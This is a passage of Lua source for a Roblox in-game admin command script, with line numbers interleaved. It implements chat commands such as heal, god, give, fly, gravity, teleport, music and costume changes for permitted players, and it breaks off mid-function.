if msg:lower():sub(1,5) == "thaw " then
1125
local plrz = GetPlr(plr, msg:lower():sub(6))
1126
for i, v in pairs(plrz) do
1127
coroutine.resume(coroutine.create(function()
1128
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1129
for a, obj in pairs(v.Character:children()) do 
1130
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1131
end
1132
end
1133
end))
1134
end
1135
end
1136
1137
if msg:lower():sub(1,5) == "heal " then
1138
local plrz = GetPlr(plr, msg:lower():sub(6))
1139
for i, v in pairs(plrz) do
1140
coroutine.resume(coroutine.create(function()
1141
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1142
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1143
end
1144
end))
1145
end
1146
end
1147
1148
if msg:lower():sub(1,4) == "god " then
1149
local plrz = GetPlr(plr, msg:lower():sub(5))
1150
for i, v in pairs(plrz) do
1151
coroutine.resume(coroutine.create(function()
1152
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1153
v.Character.Humanoid.MaxHealth = math.huge
1154
v.Character.Humanoid.Health = 9e9
1155
end
1156
end))
1157
end
1158
end
1159
1160
if msg:lower():sub(1,6) == "ungod " then
1161
local plrz = GetPlr(plr, msg:lower():sub(7))
1162
for i, v in pairs(plrz) do
1163
coroutine.resume(coroutine.create(function()
1164
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1165
v.Character.Humanoid.MaxHealth = 100
1166
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1167
end
1168
end))
1169
end
1170
end
1171
1172
if msg:lower():sub(1,8) == "ambient " then
1173
local chk1 = msg:lower():sub(9):find(" ") + 8
1174
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1175
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1176
end
1177
1178
if msg:lower():sub(1,11) == "brightness " then
1179
game.Lighting.Brightness = msg:sub(12)
1180
end
1181
1182
if msg:lower():sub(1,5) == "time " then
1183
game.Lighting.TimeOfDay = msg:sub(6)
1184
end
1185
1186
if msg:lower():sub(1,9) == "fogcolor " then
1187
local chk1 = msg:lower():sub(10):find(" ") + 9
1188
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1189
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1190
end
1191
1192
if msg:lower():sub(1,7) == "fogend " then
1193
game.Lighting.FogEnd = msg:sub(8)
1194
end
1195
1196
if msg:lower():sub(1,9) == "fogstart " then
1197
game.Lighting.FogStart = msg:sub(10)
1198
end
1199
1200
if msg:lower():sub(1,7) == "btools " then
1201
local plrz = GetPlr(plr, msg:lower():sub(8))
1202
for i, v in pairs(plrz) do
1203
coroutine.resume(coroutine.create(function()
1204
if v and v:findFirstChild("Backpack") then 
1205
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1206
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1207
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1208
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1209
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1210
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1211
local sb
1212
local hs
1213
local pdist
1214
1215
script.Parent.Selected:connect(function(mouse)
1216
if not mouse then return end
1217
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1218
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1219
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1220
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1221
hs.MouseButton1Down:connect(function() pdist = 0 end)
1222
end)
1223
1224
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1225
end
1226
end))
1227
end
1228
end
1229
1230
if msg:lower():sub(1,12) == "startergive " then
1231
local chk1 = msg:lower():sub(13):find(" ") + 12
1232
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
1233
for i, v in pairs(plrz) do
1234
coroutine.resume(coroutine.create(function()
1235
if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then 
1236
for a, tool in pairs(game.Lighting:children()) do
1237
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1238
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
1239
end
1240
end
1241
end
1242
end))
1243
end
1244
end
1245
1246
if msg:lower():sub(1,5) == "give " then
1247
local chk1 = msg:lower():sub(6):find(" ") + 5
1248
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1249
for i, v in pairs(plrz) do
1250
coroutine.resume(coroutine.create(function()
1251
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then 
1252
for a, tool in pairs(game.Lighting:children()) do
1253
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1254
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
1255
end
1256
end
1257
end
1258
end))
1259
end
1260
end
1261
1262
if msg:lower():sub(1,12) == "removetools " then
1263
local plrz = GetPlr(plr, msg:lower():sub(13))
1264
for i, v in pairs(plrz) do
1265
coroutine.resume(coroutine.create(function()
1266
if v and v.Character and v:findFirstChild("Backpack") then 
1267
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1268
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1269
end
1270
end))
1271
end
1272
end
1273
1274
if msg:lower():sub(1,5) == "rank " then
1275
local chk1 = msg:lower():sub(6):find(" ") + 5
1276
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1277
for i, v in pairs(plrz) do
1278
coroutine.resume(coroutine.create(function()
1279
if v and v:IsInGroup(msg:sub(chk1+1)) then 
1280
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1281
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1282
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1283
end
1284
end))
1285
end
1286
end
1287
1288
if msg:lower():sub(1,7) == "damage " then
1289
local chk1 = msg:lower():sub(8):find(" ") + 7
1290
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1291
for i, v in pairs(plrz) do
1292
coroutine.resume(coroutine.create(function()
1293
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1294
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1295
end
1296
end))
1297
end
1298
end
1299
1300
if msg:lower():sub(1,5) == "grav " then
1301
local plrz = GetPlr(plr, msg:lower():sub(6))
1302
for i, v in pairs(plrz) do
1303
coroutine.resume(coroutine.create(function()
1304
if v and v.Character and v.Character:findFirstChild("Torso") then 
1305
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1306
end
1307
end))
1308
end
1309
end
1310
1311
if msg:lower():sub(1,8) == "setgrav " then
1312
local chk1 = msg:lower():sub(9):find(" ") + 8
1313
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1314
for i, v in pairs(plrz) do
1315
coroutine.resume(coroutine.create(function()
1316
if v and v.Character and v.Character:findFirstChild("Torso") then 
1317
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1318
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1319
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1320
end
1321
end))
1322
end
1323
end
1324
1325
if msg:lower():sub(1,7) == "nograv " then
1326
local plrz = GetPlr(plr, msg:lower():sub(8))
1327
for i, v in pairs(plrz) do
1328
coroutine.resume(coroutine.create(function()
1329
if v and v.Character and v.Character:findFirstChild("Torso") then 
1330
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1331
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1332
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1333
end
1334
end))
1335
end
1336
end
1337
1338
if msg:lower():sub(1,7) == "health " then
1339
local chk1 = msg:lower():sub(8):find(" ") + 7
1340
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1341
for i, v in pairs(plrz) do
1342
coroutine.resume(coroutine.create(function()
1343
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1344
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1345
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1346
end
1347
end))
1348
end
1349
end
1350
1351
if msg:lower():sub(1,6) == "speed " then
1352
local chk1 = msg:lower():sub(7):find(" ") + 6
1353
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1354
for i, v in pairs(plrz) do
1355
coroutine.resume(coroutine.create(function()
1356
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1357
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1358
end
1359
end))
1360
end
1361
end
1362
1363
if msg:lower():sub(1,5) == "team " then
1364
local chk1 = msg:lower():sub(6):find(" ") + 5
1365
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1366
for i, v in pairs(plrz) do
1367
coroutine.resume(coroutine.create(function()
1368
if v and game:findFirstChild("Teams") then 
1369
for a, tm in pairs(game.Teams:children()) do
1370
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1371
end
1372
end
1373
end))
1374
end
1375
end
1376
1377
if msg:lower():sub(1,6) == "place " then
1378
local chk1 = msg:lower():sub(7):find(" ") + 6
1379
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1380
for i, v in pairs(plrz) do
1381
coroutine.resume(coroutine.create(function()
1382
if v and v:findFirstChild("PlayerGui") then 
1383
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1384
end
1385
end))
1386
end
1387
end
1388
1389
if msg:lower():sub(1,3) == "tp " then
1390
local chk1 = msg:lower():sub(4):find(" ") + 3
1391
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1392
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1393
for i, v in pairs(plrz) do
1394
coroutine.resume(coroutine.create(function()
1395
for i2, v2 in pairs(plrz2) do
1396
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1397
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1398
end
1399
end
1400
end))
1401
end
1402
end
1403
1404
if msg:lower():sub(1,7) == "change " then
1405
local chk1 = msg:lower():sub(8):find(" ") + 7
1406
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1407
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1408
for i, v in pairs(plrz) do
1409
coroutine.resume(coroutine.create(function()
1410
if v and v:findFirstChild("leaderstats") then 
1411
for a, st in pairs(v.leaderstats:children()) do
1412
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1413
end
1414
end
1415
end))
1416
end
1417
end
1418
1419
if msg:lower():sub(1,6) == "shirt " then
1420
local chk1 = msg:lower():sub(7):find(" ") + 6
1421
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1422
for i, v in pairs(plrz) do
1423
coroutine.resume(coroutine.create(function()
1424
if v and v.Character then 
1425
for i,v in pairs(v.Character:children()) do
1426
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1427
end
1428
end
1429
end))
1430
end
1431
end
1432
1433
if msg:lower():sub(1,6) == "pants " then
1434
local chk1 = msg:lower():sub(7):find(" ") + 6
1435
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1436
for i, v in pairs(plrz) do
1437
coroutine.resume(coroutine.create(function()
1438
if v and v.Character then 
1439
for i,v in pairs(v.Character:children()) do
1440
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1441
end
1442
end
1443
end))
1444
end
1445
end
1446
1447
if msg:lower():sub(1,5) == "face " then
1448
local chk1 = msg:lower():sub(6):find(" ") + 5
1449
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1450
for i, v in pairs(plrz) do
1451
coroutine.resume(coroutine.create(function()
1452
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then 
1453
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1454
end
1455
end))
1456
end
1457
end
1458
1459
---------------------
1460
--   FunCommands   --
1461
---------------------
1462
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1463
	
1464
if msg:lower():sub(1,8) == "swagify " then
1465
local plrz = GetPlr(plr, msg:lower():sub(9))
1466
for i, v in pairs(plrz) do
1467
coroutine.resume(coroutine.create(function()
1468
if v and v.Character then
1469
for i,v in pairs(v.Character:children()) do
1470
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1471
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1472
end
1473
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1474
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1475
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1476
local torso = plr.Character.Torso
1477
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1478
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1479
p.Size = Vector3.new(.2,.2,.2)
1480
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1481
local motor1 = Instance.new("Motor", p)
1482
motor1.Part0 = p
1483
motor1.Part1 = torso
1484
motor1.MaxVelocity = .01
1485
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1486
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1487
local wave = false
1488
repeat wait(1/44)
1489
local ang = 0.1
1490
local oldmag = torso.Velocity.magnitude
1491
local mv = .002
1492
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1493
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1494
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1495
motor1.DesiredAngle = -ang
1496
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1497
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1498
if torso.Velocity.magnitude < .1 then wait(.1) end
1499
until not p or p.Parent ~= torso.Parent
1500
script:Destroy()
1501
]] cl.Parent = v.PlayerGui cl.Disabled = false
1502
end
1503
end))
1504
end
1505
end
1506
1507
if msg:lower():sub(1,6) == "music " then
1508
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1509
local id = msg:sub(7)
1510
local pitch = 1
1511
if tostring(id):lower():find("caramell") then id = 2303479 end
1512
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1513
if tostring(id):find("rick") then id = 2027611 end
1514
if tostring(id):find("halo") then id = 1034065  end
1515
if tostring(id):find("pokemon") then id = 1372261 end
1516
if tostring(id):find("cursed") then id = 1372257 end
1517
if tostring(id):find("extreme") then id = 11420933 end
1518
if tostring(id):find("awaken") then id = 27697277 end
1519
if tostring(id):find("alone") then id = 27697392 end
1520
if tostring(id):find("mario") then id = 1280470 end
1521
if tostring(id):find("choir") then id = 1372258 end
1522
if tostring(id):find("chrono") then id = 1280463 end
1523
if tostring(id):find("dotr") then id = 11420922 end
1524
if tostring(id):find("entertain") then id = 27697267 end
1525
if tostring(id):find("fantasy") then id = 1280473 end
1526
if tostring(id):find("final") then id = 1280414 end
1527
if tostring(id):find("emblem") then id = 1372259 end
1528
if tostring(id):find("flight") then id = 27697719 end
1529
if tostring(id):find("banjo") then id = 27697298 end
1530
if tostring(id):find("gothic") then id = 27697743 end
1531
if tostring(id):find("hiphop") then id = 27697735 end
1532
if tostring(id):find("intro") then id = 27697707 end
1533
if tostring(id):find("mule") then id = 1077604 end
1534
if tostring(id):find("film") then id = 27697713 end
1535
if tostring(id):find("nezz") then id = 8610025 end
1536
if tostring(id):find("angel") then id = 1372260 end
1537
if tostring(id):find("resist") then id = 27697234 end
1538
if tostring(id):find("schala") then id = 5985787 end
1539
if tostring(id):find("organ") then id = 11231513 end
1540
if tostring(id):find("tunnel") then id = 9650822 end
1541
if tostring(id):find("spanish") then id = 5982975 end
1542
if tostring(id):find("venom") then id = 1372262 end
1543
if tostring(id):find("wind") then id = 1015394 end
1544
if tostring(id):find("guitar") then id = 5986151 end
1545
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1546
end
1547
1548
if msg:lower() == "stopmusic" then
1549
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1550
end
1551
1552
if msg:lower() == "musiclist" then
1553
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1554
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1555
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1556
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1557
end
1558
1559
if msg:lower():sub(1,4) == "fly " then
1560
local plrz = GetPlr(plr, msg:lower():sub(5))
1561
for i, v in pairs(plrz) do
1562
coroutine.resume(coroutine.create(function()
1563
if v and v:findFirstChild("PlayerGui") then
1564
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") 
1565
local mouse = game.Players.LocalPlayer:GetMouse() 
1566
repeat wait() until mouse
1567
local plr = game.Players.LocalPlayer 
1568
local torso = plr.Character.Torso 
1569
local flying = true
1570
local deb = true 
1571
local ctrl = {f = 0, b = 0, l = 0, r = 0} 
1572
local lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1573
local maxspeed = 50 
1574
local speed = 0 
1575
function Fly() 
1576
local bg = Instance.new("BodyGyro", torso) 
1577
bg.P = 9e4 
1578
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
1579
bg.cframe = torso.CFrame 
1580
local bv = Instance.new("BodyVelocity", torso) 
1581
bv.velocity = Vector3.new(0,0.1,0) 
1582
bv.maxForce = Vector3.new(9e9, 9e9, 9e9) 
1583
repeat wait() 
1584
plr.Character.Humanoid.PlatformStand = true 
1585
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then 
1586
speed = speed+.5+(speed/maxspeed) 
1587
if speed > maxspeed then 
1588
speed = maxspeed 
1589
end 
1590
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then 
1591
speed = speed-1 
1592
if speed < 0 then 
1593
speed = 0 
1594
end 
1595
end 
1596
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then 
1597
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1598
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} 
1599
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then 
1600
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1601
else 
1602
bv.velocity = Vector3.new(0,0.1,0) 
1603
end 
1604
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) 
1605
until not flying 
1606
ctrl = {f = 0, b = 0, l = 0, r = 0} 
1607
lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1608
speed = 0 
1609
bg:Destroy() 
1610
bv:Destroy() 
1611
plr.Character.Humanoid.PlatformStand = false 
1612
end 
1613
mouse.KeyDown:connect(function(key) 
1614
if key:lower() == "e" then 
1615
if flying then flying = false 
1616
else 
1617
flying = true 
1618
Fly() 
1619
end 
1620
elseif key:lower() == "w" then 
1621
ctrl.f = 1 
1622
elseif key:lower() == "s" then 
1623
ctrl.b = -1 
1624
elseif key:lower() == "a" then 
1625
ctrl.l = -1 
1626
elseif key:lower() == "d" then 
1627
ctrl.r = 1 
1628
end 
1629
end) 
1630
mouse.KeyUp:connect(function(key) 
1631
if key:lower() == "w" then 
1632
ctrl.f = 0 
1633
elseif key:lower() == "s" then 
1634
ctrl.b = 0 
1635
elseif key:lower() == "a" then 
1636
ctrl.l = 0 
1637
elseif key:lower() == "d" then 
1638
ctrl.r = 0 
1639
end 
1640
end)
1641
Fly()]]
1642
cl.Parent = v.PlayerGui cl.Disabled = false
1643
end
1644
end))
1645
end
1646
end
1647
1648
if msg:lower():sub(1,6) == "unfly " then
1649
local plrz = GetPlr(plr, msg:lower():sub(7))
1650
for i, v in pairs(plrz) do
1651
coroutine.resume(coroutine.create(function()
1652
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1653
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1654
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1655
wait(.1) v.Character.Humanoid.PlatformStand = false
1656
end
1657
end))
1658
end
1659
end
1660
1661
if msg:lower() == "disco" then
1662
for i, v in pairs(lobjs) do v:Destroy() end
1663
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1664
game.Lighting.Ambient = color
1665
game.Lighting.FogColor = color
1666
until nil]]
1667
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1668
end
1669
1670
if msg:lower() == "flash" then
1671
for i, v in pairs(lobjs) do v:Destroy() end
1672
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) 
1673
game.Lighting.Ambient = Color3.new(1,1,1)
1674
game.Lighting.FogColor = Color3.new(1,1,1)
1675
game.Lighting.Brightness = 1
1676
game.Lighting.TimeOfDay = 14
1677
wait(.1) 
1678
game.Lighting.Ambient = Color3.new(0,0,0)
1679
game.Lighting.FogColor = Color3.new(0,0,0)
1680
game.Lighting.Brightness = 0
1681
game.Lighting.TimeOfDay = 0
1682
until nil]]
1683
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1684
end
1685
1686
if msg:lower():sub(1,5) == "spin " then
1687
local plrz = GetPlr(plr, msg:lower():sub(6))
1688
for i, v in pairs(plrz) do
1689
coroutine.resume(coroutine.create(function()
1690
if v and v.Character and v.Character:findFirstChild("Torso") then
1691
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1692
local torso = v.Character:findFirstChild("Torso")
1693
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1694
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1695
until not bg or bg.Parent ~= torso
1696
end
1697
end))
1698
end
1699
end
1700
1701
if msg:lower():sub(1,7) == "unspin " then
1702
local plrz = GetPlr(plr, msg:lower():sub(8))
1703
for i, v in pairs(plrz) do
1704
coroutine.resume(coroutine.create(function()
1705
if v and v.Character and v.Character:findFirstChild("Torso") then
1706
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1707
end
1708
end))
1709
end
1710
end
1711
1712
if msg:lower():sub(1,4) == "dog " then
1713
local plrz = GetPlr(plr, msg:lower():sub(5))
1714
for i, v in pairs(plrz) do
1715
coroutine.resume(coroutine.create(function()
1716
if v and v.Character and v.Character:findFirstChild("Torso") then
1717
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1718
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1719
v.Character.Torso.Transparency = 1
1720
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1721
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1722
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1723
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1724
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1725
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1726
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1727
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
1728
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
1729
end
1730
end))
1731
end
1732
end
1733
1734
if msg:lower():sub(1,6) == "undog " then
1735
local plrz = GetPlr(plr, msg:lower():sub(7))
1736
for i, v in pairs(plrz) do
1737
coroutine.resume(coroutine.create(function()
1738
if v and v.Character and v.Character:findFirstChild("Torso") then
1739
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1740
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1741
v.Character.Torso.Transparency = 0
1742
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1743
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1744
